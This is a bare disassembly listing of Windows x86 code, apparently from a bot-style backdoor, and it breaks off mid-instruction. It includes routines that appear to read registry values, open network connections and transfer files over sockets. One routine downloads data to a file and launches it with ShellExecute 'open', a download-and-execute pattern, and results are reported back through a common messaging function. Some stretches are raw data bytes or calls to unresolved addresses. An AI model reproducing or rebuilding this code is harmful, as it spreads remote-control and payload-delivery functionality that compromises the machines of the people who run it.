dword_4CB5F4 test eax, eax jz short loc_415778 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB6B0 loc_415778: ; CODE XREF: sub_4155F8+16Ej push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_415797 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB6B0 loc_415797: ; CODE XREF: sub_4155F8+18Bj push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_4157B4 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB6B0 loc_4157B4: ; CODE XREF: sub_4155F8+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_4157E1 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB6B0 loc_4157E1: ; CODE XREF: sub_4155F8+63j ; sub_4155F8+D0j ... push [ebp+var_4] call dword_4CB704 mov eax, ebx loc_4157EC: ; CODE XREF: sub_4155F8+39j pop edi pop esi pop ebx leave retn sub_4155F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F1 proc near ; CODE XREF: sub_401ACD+752Fp var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3280 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB5A4 mov edi, eax cmp edi, ebx jnz short loc_41582F mov eax, esi jmp loc_415A2B ; --------------------------------------------------------------------------- loc_41582F: ; CODE XREF: sub_4157F1+35j push edi call dword_4CB5F4 test eax, eax jz short loc_41584C push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB6B0 jmp short loc_41584E ; --------------------------------------------------------------------------- loc_41584C: ; CODE XREF: sub_4157F1+47j xor eax, eax loc_41584E: ; CODE XREF: sub_4157F1+59j cmp eax, ebx jnz short loc_415859 loc_415852: ; CODE XREF: sub_4157F1+8Bj ; sub_4157F1+BCj mov ebx, esi jmp loc_415A22 ; --------------------------------------------------------------------------- loc_415859: ; CODE XREF: sub_4157F1+5Fj push edi call dword_4CB5F4 test eax, eax jz short loc_415879 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB6B0 loc_415879: ; CODE XREF: sub_4157F1+71j cmp [ebp+var_7C], ebx jz short loc_415852 push edi call dword_4CB5F4 test eax, eax jz short loc_41589C push ebx push ebx push 42Ch push edi call dword_4CB6B0 mov [ebp+arg_4], eax jmp short loc_41589F ; --------------------------------------------------------------------------- loc_41589C: ; CODE XREF: sub_4157F1+96j mov [ebp+arg_4], ebx loc_41589F: ; CODE XREF: sub_4157F1+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415852 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C6 push 1 pop ebx jmp loc_415A22 ; --------------------------------------------------------------------------- loc_4158C6: ; CODE XREF: sub_4157F1+CBj push edi call dword_4CB5F4 test eax, eax jz short loc_4158E3 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB6B0 loc_4158E3: ; CODE XREF: sub_4157F1+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FE mov ecx, 0A0h loc_4158FE: ; CODE XREF: sub_4157F1+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415908 push 78h pop eax loc_415908: ; CODE XREF: sub_4157F1+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5F4 test eax, eax jz short loc_41594D push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB6B0 loc_41594D: ; CODE XREF: sub_4157F1+14Aj push edi call dword_4CB5F4 test eax, eax jz short loc_41596A lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB6B0 loc_41596A: ; CODE XREF: sub_4157F1+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CB5F4 test eax, eax jz short loc_4159A8 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB6B0 loc_4159A8: ; CODE XREF: sub_4157F1+1A3j push edi call dword_4CB5F4 test eax, eax jz short loc_4159C3 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB6B0 loc_4159C3: ; CODE XREF: sub_4157F1+1C0j push edi call dword_4CB5F4 test eax, eax jz short loc_4159DC push ebx push ebx push 43Eh push edi call dword_4CB6B0 loc_4159DC: ; CODE XREF: sub_4157F1+1DBj push edi call dword_4CB5F4 test eax, eax jz short loc_4159F9 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB6B0 loc_4159F9: ; CODE XREF: sub_4157F1+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CB5F4 test eax, eax jz short loc_415A22 push ebx push ebx push 40Bh push edi call dword_4CB6B0 loc_415A22: ; CODE XREF: sub_4157F1+63j ; sub_4157F1+D0j ... push edi call dword_4CB704 mov eax, ebx loc_415A2B: ; CODE XREF: sub_4157F1+39j pop edi pop esi pop ebx leave retn sub_4157F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A30 proc near ; CODE XREF: sub_401ACD+25F2p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4368EC, ebx mov [ebp+var_C], 80h jz loc_415BD1 push esi push edi mov eax, offset off_4368EC mov esi, offset dword_4368F8 mov edi, offset dword_437AF0 loc_415A60: ; CODE XREF: sub_415A30+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB6C4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CB554 test eax, eax jnz loc_415BB7 mov eax, [esi] cmp eax, ebx jz loc_415B7B push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_429AC4 push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB7 push eax loc_415AD9: ; CODE XREF: sub_415A30+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B70 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B06 push [ebp+var_8] jmp short loc_415AD9 ; --------------------------------------------------------------------------- loc_415B06: ; CODE XREF: sub_415A30+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B34 lea eax, [ebp+var_70] push offset asc_437AEC ; "=" push eax call sub_41C0F4 push offset asc_437AEC ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B37 ; --------------------------------------------------------------------------- loc_415B34: ; CODE XREF: sub_415A30+E4j lea eax, [ebp+var_70] loc_415B37: ; CODE XREF: sub_415A30+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_2F0] push eax call sub_4151AD add esp, 18h loc_415B70: ; CODE XREF: sub_415A30+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB7 ; --------------------------------------------------------------------------- loc_415B7B: ; CODE XREF: sub_415A30+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_2F0] push eax call sub_4151AD add esp, 28h loc_415BB7: ; CODE XREF: sub_415A30+60j ; sub_415A30+A2j ... push [ebp+var_4] call dword_4CB630 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A60 pop edi pop esi loc_415BD1: ; CODE XREF: sub_415A30+19j pop ebx leave retn sub_415A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD4 proc near ; CODE XREF: ___:00416279p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6D4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C50 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB654 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB694 cmp eax, esi jnz short loc_415C35 push [ebp+arg_0] call dword_4CB6D8 test eax, eax jz short loc_415C50 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C35: ; CODE XREF: sub_415BD4+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5FC cmp eax, esi jnz short loc_415C54 push edi call dword_4CB6EC loc_415C50: ; CODE XREF: sub_415BD4+1Bj ; sub_415BD4+58j mov eax, esi jmp short loc_415C56 ; --------------------------------------------------------------------------- loc_415C54: ; CODE XREF: sub_415BD4+73j mov eax, edi loc_415C56: ; CODE XREF: sub_415BD4+7Ej pop edi pop esi leave retn sub_415BD4 endp ; --------------------------------------------------------------------------- word_415C5A dw 8B55h ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h, 8B6D6A57h dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h dd 2CA313E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh dd 0FFFF56C3h, 0A9E85659h, 90022CA2h, 0A1E8646Ah, 900226A2h dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 581BE8h dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4CB66Ch dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h dd 49E8646Ah, 900226A2h, 80E80A6Ah, 85FFFF55h, 0A37559C0h dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h, 59FFFF56h dd 0E5E89057h db 0A1h, 2Ch, 2 ; --------------------------------------------------------------------------- loc_415E1B: ; DATA XREF: sub_401ACD+7832o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB6D4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E69 push offset unk_437C6C jmp loc_416022 ; --------------------------------------------------------------------------- loc_415E69: ; CODE XREF: ___:00415E5Dj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB654 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CB680 test eax, eax jz short loc_415EA7 push offset unk_437C48 jmp loc_416022 ; --------------------------------------------------------------------------- loc_415EA7: ; CODE XREF: ___:00415E9Bj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB5F8 push dword ptr [ebp-2Eh] call dword_4CB584 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED9: ; CODE XREF: ___:00415F0Aj mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEC push 5Fh pop eax jmp short loc_415EEF ; --------------------------------------------------------------------------- loc_415EEC: ; CODE XREF: ___:00415EE5j movsx eax, al loc_415EEF: ; CODE XREF: ___:00415EEAj mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED9 push ebx push edi call dword_4CB67C test eax, eax jz short loc_415F22 push offset unk_437B6C jmp loc_416022 ; --------------------------------------------------------------------------- loc_415F22: ; CODE XREF: ___:00415F16j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 27009D7h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4C push offset unk_437C28 jmp loc_416022 ; --------------------------------------------------------------------------- loc_415F4C: ; CODE XREF: ___:00415F40j push esi push eax call near ptr 27309A1h nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC10 pop ecx push eax call dword_4CB694 push eax call dword_4CB650 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437C10 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A73 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB63C test eax, eax jg short loc_415FFC push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437BF8 push eax push dword ptr [ebp-1FCh] call sub_409A73 jmp loc_416120 ; --------------------------------------------------------------------------- loc_415FFC: ; CODE XREF: ___:00415FDAj lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB6E8 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416035 push offset unk_437BD4 loc_416022: ; CODE XREF: ___:00415E64j ; ___:00415EA2j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416123 ; --------------------------------------------------------------------------- loc_416035: ; CODE XREF: ___:0041601Bj push edi call dword_4CB6EC cmp [ebp+8], esi jz loc_4160E7 mov edi, 400h loc_41604A: ; CODE XREF: ___:004160DEj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416057 mov [ebp-4], eax loc_416057: ; CODE XREF: ___:00416052j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2760000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call near ptr 2700000h nop push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CB6A4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB66C cmp eax, ebx jl loc_41617C mov eax, [ebp-4] cmp eax, ebx jl loc_41617C sub [ebp+8], eax jnz loc_41604A mov edi, [ebp-18h] loc_4160E7: ; CODE XREF: ___:0041603Fj push dword ptr [ebp-8] nop call near ptr 2660919h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416923 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB6E0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_437BA8 push eax call sub_41B886 loc_416120: ; CODE XREF: ___:00415FF7j add esp, 14h loc_416123: ; CODE XREF: ___:00416030j cmp [ebp-50h], esi jnz short loc_416148 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A73 add esp, 14h loc_416148: ; CODE XREF: ___:00416126j lea eax, [ebp-3FCh] push eax call sub_4151AD cmp edi, esi pop ecx jbe short loc_416160 push edi call dword_4CB6EC loc_416160: ; CODE XREF: ___:00416157j push dword ptr [ebp-1F8h] call dword_4CB6EC push dword ptr [ebp-58h] call sub_40B413 pop ecx push esi nop call near ptr 26E0000h loc_41617C: ; CODE XREF: ___:004160CAj ; ___:004160D5j push esi mov esi, offset dword_437B90 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A73 push esi call sub_4151AD add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB6EC push dword ptr [ebp-58h] call sub_40B413 pop ecx push ebx call near ptr 26E0000h nop loc_4161BD: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2670A78h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429ACC push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27009D7h cmp eax, 0FFFFFFFFh jnz short loc_416247 push offset unk_437D0C jmp short loc_41628D ; --------------------------------------------------------------------------- loc_416247: ; CODE XREF: ___:0041623Ej push eax nop call near ptr 2660919h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626F push offset unk_437CDC jmp short loc_41628D ; --------------------------------------------------------------------------- loc_41626F: ; CODE XREF: ___:00416266j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD4 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_4162A0 push offset unk_437CBC loc_41628D: ; CODE XREF: ___:00416245j ; ___:0041626Dj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639C ; --------------------------------------------------------------------------- loc_4162A0: ; CODE XREF: ___:00416286j mov esi, 1000h loc_4162A5: ; CODE XREF: ___:0041630Bj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB66C mov edi, eax cmp edi, ebx jz loc_41636C cmp edi, 0FFFFFFFFh jz short loc_41630D push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB650 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CB6A4 jmp short loc_4162A5 ; --------------------------------------------------------------------------- loc_41630D: ; CODE XREF: ___:004162D5j lea eax, [ebp-4C4h] push offset dword_437B90 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A73 lea eax, [ebp-4C4h] push eax call sub_4151AD push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB6EC push dword ptr [ebp-1Ch] call sub_40B413 pop ecx push 1 nop call near ptr 26E0000h loc_41636C: ; CODE XREF: ___:004162CCj mov eax, [ebp-8] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437C90 push eax call sub_41B886 add esp, 14h loc_41639C: ; CODE XREF: ___:0041629Bj cmp [ebp-14h], ebx jnz short loc_4163C1 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A73 add esp, 14h loc_4163C1: ; CODE XREF: ___:0041639Fj lea eax, [ebp-4C4h] push eax call sub_4151AD cmp [ebp-4], ebx pop ecx jz short loc_4163DC push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DC: ; CODE XREF: ___:004163D1j cmp [ebp+8], ebx jbe short loc_4163EA push dword ptr [ebp+8] call dword_4CB6EC loc_4163EA: ; CODE XREF: ___:004163DFj push dword ptr [ebp-1Ch] call sub_40B413 pop ecx push ebx nop call near ptr 26E0000h loc_4163FA: ; DATA XREF: sub_401ACD+627Ao ; sub_401ACD+6ABAo push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB604 call dword_4CB558 cmp eax, esi mov [ebp-18h], eax jz loc_416886 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27009D7h cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C1 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437ED8 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_4164A4: ; CODE XREF: ___:00416482j lea eax, [ebp-510h] push eax call sub_4151AD push dword ptr [ebp-48h] call sub_40B413 pop ecx pop ecx push esi nop call near ptr 26E0000h loc_4164C1: ; CODE XREF: ___:00416462j xor edi, edi call near ptr 2690AA5h nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DB: ; CODE XREF: ___:004165AEj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB560 cmp [ebp-34h], esi jz short loc_41651F push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EC pop ecx pop ecx loc_41651F: ; CODE XREF: ___:0041650Cj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26F0000h cmp edi, ebx jnb short loc_41655D mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416547 mov eax, [ebp+8] loc_416547: ; CODE XREF: ___:00416542j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655D: ; CODE XREF: ___:00416539j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_41656A cmp edi, [ebp-3Ch] ja short loc_4165B4 loc_41656A: ; CODE XREF: ___:00416563j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416584 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437EB0 jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416584: ; CODE XREF: ___:00416570j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437E88 loc_416594: ; CODE XREF: ___:00416582j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E390 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DB loc_4165B4: ; CODE XREF: ___:00416568j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416609 cmp edi, [ebp-3Ch] jz short loc_416609 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437E5C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 lea eax, [ebp-510h] push eax call sub_4151AD add esp, 28h loc_416609: ; CODE XREF: ___:004165BEj ; ___:004165C3j call near ptr 2690AA5h nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2660919h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416693 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416693 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437E34 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 lea eax, [ebp-510h] push eax call sub_4151AD add esp, 28h loc_416693: ; CODE XREF: ___:0041663Bj ; ___:0041664Dj cmp [ebp-14h], esi jz loc_4168D3 cmp dword ptr [ebp-44h], 1 jz loc_41678E mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437DFC push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670E push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_41670E: ; CODE XREF: ___:004166ECj lea eax, [ebp-510h] push eax call sub_4151AD cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D3 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB5C0 cmp [ebp-30h], esi jnz loc_4168D3 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437DE0 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 lea eax, [ebp-510h] push eax call sub_4151AD add esp, 24h jmp loc_4168D3 ; --------------------------------------------------------------------------- loc_41678E: ; CODE XREF: ___:004166A0j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437D9C push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F6 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_4167F6: ; CODE XREF: ___:004167D4j lea eax, [ebp-510h] push eax call sub_4151AD push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr 